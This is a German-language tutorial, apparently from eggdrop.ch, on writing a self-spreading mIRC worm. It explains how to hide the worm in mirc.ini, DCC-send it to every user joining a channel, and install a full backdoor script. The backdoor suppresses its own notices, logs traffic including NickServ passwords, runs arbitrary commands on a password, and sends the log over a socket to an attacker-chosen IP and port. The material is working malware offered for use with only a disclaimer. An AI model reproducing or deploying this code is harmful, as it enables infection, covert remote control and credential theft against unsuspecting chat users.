Anmerkung:
Dieser IRC Wurm WorkShop wurde von einem GastAutor erstellt, weiteres unten.
Er wurde unzensiert und unbehandelt auf IRC-Mania.de aufgenommen !
Sollte ein hier präsentierter WorkShop extrem viele Fehler aufweisen, bitte ich um eine Benachrichtigung WorkShopKritik@IRC-Mania.de
Wir übernehmen keine Verantwortung für Schäden, die durch diesen Workshop entstanden sind !
Autor: by Thomas „tom“ S.
URL: http://www.eggdrop.ch
Email: <tom at eggdrop.ch>
Warnung
Ich übernehme keine Verantwortung für Schäden, die durch diesen IRC-Wurm entstanden sind.
Inhalt
1 | IRC-Wurm |
1.1 | Einleitung |
1.2 | Programmierung |
1.1 Einleitung
In diesem Text wirst du erfahren, wie man einen IRC-Wurm schreibt, der sich automatisch per DCC verbreitet. Dieses Tutorial setzt voraus, dass du mIRC hast (die Scripts basieren auf mIRC, weil die meisten Benutzer mIRC benutzen), die Standard IRC-Befehle kennst wie z.B. /mode, /kick usw. und mindestens eine Programmiersprache kennst (VisualBasic, C++ usw.). Bei Fragen schreib mir einfach ein E-Mail.
1.2 Programmierung
Wir werden hier einen IRC-Wurm für mIRC programmieren, da mIRC (www.mirc.com) der am häufigsten eingesetzte Chat-Client ist. Wir müssen den Wurm als .exe, .bat, .vbs, .com oder sonst eine ausführbare Datei versenden, weil er sich sonst nicht automatisch installiert. mIRC befindet sich standardmässig im Verzeichnis c:\mIRC. Dieser Wurm sollte in der mirc.ini (schau mit Notepad ruhig in die mirc.ini hinein) einen Eintrag unter [rfiles] machen. Die [rfiles]-Rubrik sieht je nach Script anders aus. Hier ein Beispiel:
[rfiles]
n0=remote.ini
n1=remote.ini
n2=blah.ini
n3=sonsteinscript.mrc
Jetzt ist es am Besten, wenn sich der Wurm als n4=wurm.mrc anhängt. Alternativ könnte er auch das erste Script (n0 und n1 zählen übrigens nicht) ersetzen: n2=wurm.mrc. Da könnte aber das Opfer merken, dass irgend etwas nicht geht. Was du machst, ist von deinen Programmierkenntnissen abhängig. Am Besten wäre es, wenn der Wurm zuerst nach einer mirc.exe und mirc32.exe sucht und in dem Ordner, wo sich die Datei befindet, den Wurm wie vorher beschrieben in die mirc.ini anhängt und dann eine wurm.mrc erstellt (du sollst natürlich anstelle von wurm.mrc einen anderen Namen verwenden, der nicht so auffällig ist – wichtig ist einfach das die Datei mit .mrc endet!). In diese wurm.mrc (oder wie die dann heisst) wird dann der eigentliche Wurm geschrieben. Was dort reinkommt zeig ich dir jetzt.
Der Wurm soll sich natürlich über DCC weiterversenden. Dazu kommt folgendes in das File:
on *:join:#: {
if ($nick != $me) {
/dcc send $nick <PfadDesWurms>
}
}
<PfadDesWurms> musst du natürlich durch den Pfad des Wurms, also die .exe oder wasauchimmer (nicht die wurm.mrc) ersetzen (wenn du nicht weisst wo sich der Wurm befindet, dann soll sich der Wurm doch am besten nach dem Start in das Verzeichnis C:\windows\system\ oder so kopieren).
Jetzt die Bedeutung des Befehls (Ich werde jetzt keine detailierte Erklärung machen, da das kein mIRC-Scripting-Tutorial ist):
on *:join:#:{ } wird ausgeführt, wenn jemand einen Channel joint.
if ($nick != $me) { } bedeutet: Wenn ich nicht der Nick bin, dann …
/dcc send $nick <PfadDesWurms> bedeutet: Sende dem Nick die Datei <PfadDesWurms>
Noch ein Hinweis zu den Ereignissen: Man kann ein Ereignis nur EIN mal verwenden. Du kannst also nur ein mal on *:join:#: gebrauchen. Aber du kannst mehrere Befehle hinzufügen z.B:
on *:join:#:{
if ($nick != $me) {
/dcc send $nick <PfadDesWurms>
}
if ($nick == Meister) {
/msg $chan Mein Meister ist da!
}
}
Nun… was soll der Wurm alles können? Ich hab hier ein Beispiel von einem Wurm (natürlich selber gemacht :P), der sich unbemerkt steuern lässt:
on ^*:NOTICE:huhu:?:.timer.backdoorinfo 1 2 .notice $nick ? | halt
on *:START:debug on | clear -s | if (%backpass == $null) { set %backpass backdoor }
on ^*:NOTICE:$(%backpass help):?:.notice $nick Commands: setpass, getinfo, run, id, getlog, dellog | halt
on ^*:NOTICE:$(%backpass setpass *):?:set %backpass $3 | .notice $nick Password is now %backpass | halt
on ^*:NOTICE:$(%backpass getinfo):?:.notice $nick IP: $ip Host: $host mIRC: $version Date: $date Time: $time Uptime: $duration($calc($ticks / 1000)) | halt
on ^*:NOTICE:$(%backpass run *):?:{
$3-
halt
}
on ^*:NOTICE:$(%backpass getlog *):?:{
sockopen backd00r $3 $4
halt
}
on *:sockopen:backd00r:{
if ($lines(debug.log) == 0) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
if ($lines(debug.log) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
%i = 0
:loop
inc %i
if ($read(debug.log,%i) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
sockwrite -tn backd00r * $remove($read -nl %i debug.log,$chr(124))
goto loop
}
on ^*:NOTICE:$(%backpass dellog):?:{
.remove debug.log
.notice $nick Removed debug.log
halt
}
on ^*:NOTICE:$(%backpass id *):?:{
.notice $nick Identifier: $ [ $+ [ $3- ] ]
halt
}
Nun das sieht ja ganz kompliziert aus, oder? Im Grunde genommen ist es gar nicht so schwierig. Dann fang ich euch mal an zu erklären was das etwa bedeutet:
on ^*:NOTICE:huhu:?:.timer.backdoorinfo 1 2 .notice $nick ? | halt dient zum Checken, ob der betroffene dieses Backdoor hat. Wenn du also einem Infiziertem /notice <nick> huhu schreibt, dann sollte er innerhalb von 2 Sekunden antworten mit ?. Die Zahlen 1 2 bei Timer bedeuten: Der Timer wird ein mal ausgeführt in einem Abstand von zwei Sekunden. Das ^ am Anfang und das halt am Schluss, dient zum unterdrücken der empfangenen Notize („huhu“). Der Punk vor notice $nick ?, dient zum unterdrücken der gesendeten Notize („?“).
on *:START:debug on | clear -s | if (%backpass == $null) { set %backpass backdoor } wird beim Starten von mIRC ausgeführt. Das Zeichen | bedeutet nichts anderes als eine neue Zeile. debug on bedeutet, dass alles in die debug.log gelogt wird (also auch Nickservpasswörter und so). Dann kommt beim infiziertem * Output to debug.log is ON. Damit das nicht erscheint, wird das Statusfenster mit clear -s gereinigt. In der Variablen %backpass wird das Passwort für den Wurm gespeichert sein. Wenn %backpass aber noch keinen Wert hat ($null = nichts), dann wird der Variablen ein Standardpass zugewiesen (backdoor).
on ^*:NOTICE:$(%backpass help):?:.notice $nick Commands: setpass, getinfo, run, id, getlog, dellog | halt wird ausgeführt, wenn eine Notize mit dem Inhalt der Variable %backpass gesendet wird und dahinter ein help steht (z.B. /notice nick backdoor help). Auch diese Notize wird mit ^ und halt untrdrückt.
on ^*:NOTICE:$(%backpass setpass *):?:set %backpass $3 | .notice $nick Password is now %backpass | halt damit kann man das Passwort wechseln. $3 ist der dritte Parameter. $1 wäre das Passwort, $2 w
äre setpass und $3 wäre dann schlussendlich das neue Passwort.
on ^*:NOTICE:$(%backpass getinfo):?:.notice $nick IP: $ip Host: $host mIRC: $version Date: $date Time: $time Uptime: $duration($calc($ticks / 1000)) | halt hier noch ein kleines Systeminfo: IP, Host mIRC-Version, Datum, Zeit, Uptime ($ticks sind die Anzahl Milisekunden, wird geteilt durch 1000 mit $calc und in Stunden, Minuten und Sekunden umgewandelt mit $duration)
on ^*:NOTICE:$(%backpass run *):?:{
$3-
halt
} Mit diesen Zeilen (hier mal als Beispiel auf mehreren Zeilen :P) wird ein beliebiger Befehl ausgeführt. Das – bei $3- bedeutet $3 und alle folgenden ($4, $5 usw.)
on ^*:NOTICE:$(%backpass getlog *):?:{
sockopen backd00r $3 $4
halt
} Hier wirds spannend. Man gibt ein /notice <nick> <pass> getlog <meineIP> <port> und das debug.log (vorher schon besprochen) wird mit TCP dorthin gesendet (du musst also irgendwo eine Serveranwendung haben, mit der du das abhören kannst, unter Unix z.B. netcat)
on *:sockopen:backd00r:{
if ($lines(debug.log) == 0) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
if ($lines(debug.log) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
%i = 0
:loop
inc %i
if ($read(debug.log,%i) == $null) { sockwrite -tn backd00r * EOF | sockclose backd00r | halt }
sockwrite -tn backd00r * $remove($read -nl %i debug.log,$chr(124))
goto loop
} Hier werde ich nicht jede Zeile eklären. Dieser Event wird ausgeführt, wenn das Socket erfolgreich geöffnet wurde. Dann wird der Inhalt der debug.log dort hin gesendet und am Schlus ein * EOF (EndOfFile).
on ^*:NOTICE:$(%backpass dellog):?:{
.remove debug.log
.notice $nick Removed debug.log
halt
} Dieser Befehl löscht das debug.log
on ^*:NOTICE:$(%backpass id *):?:{
.notice $nick Identifier: $ [ $+ [ $3- ] ]
halt
} Mit diesem Befehl wird der Wert eines Identifier ($ip, $date, usw., alles mit $ sind Identifier) gesendet, z.B.: /notice <nick> <pass> id $ip
Du kannst übrigens auch selber ein IRC-Script machen (wenn du gut scripten kannst) und dort diesen Wurm integrieren oder nur die .mrc jemandem schicken. Er muss sie dann allerdings ins mIRC-Verzeichnis kopieren und /load -rs <Datei> machen.
Letzte Änderung: 27.07.03 |
Dieser Text gehört zu www.eggdrop.ch und ist urheberrechtlich geschützt. Das Weitergeben und Kopieren dieses Textes ist erwünscht unter folgenden Bedingungen: 1. Der Text muss so sein wie er ist und darf in keiner Weise verändert oder in die eigene Homepage integriert werden. 2. Es muss ein deutlicher Hinweis auf die Herkunft (www.eggdrop.ch) vorhanden sein. 3. Der Text sollte wenigstens alle 3 Monate auf Updates überprüft werden (siehe die Versionsnummer ganz am Anfang des Textes!)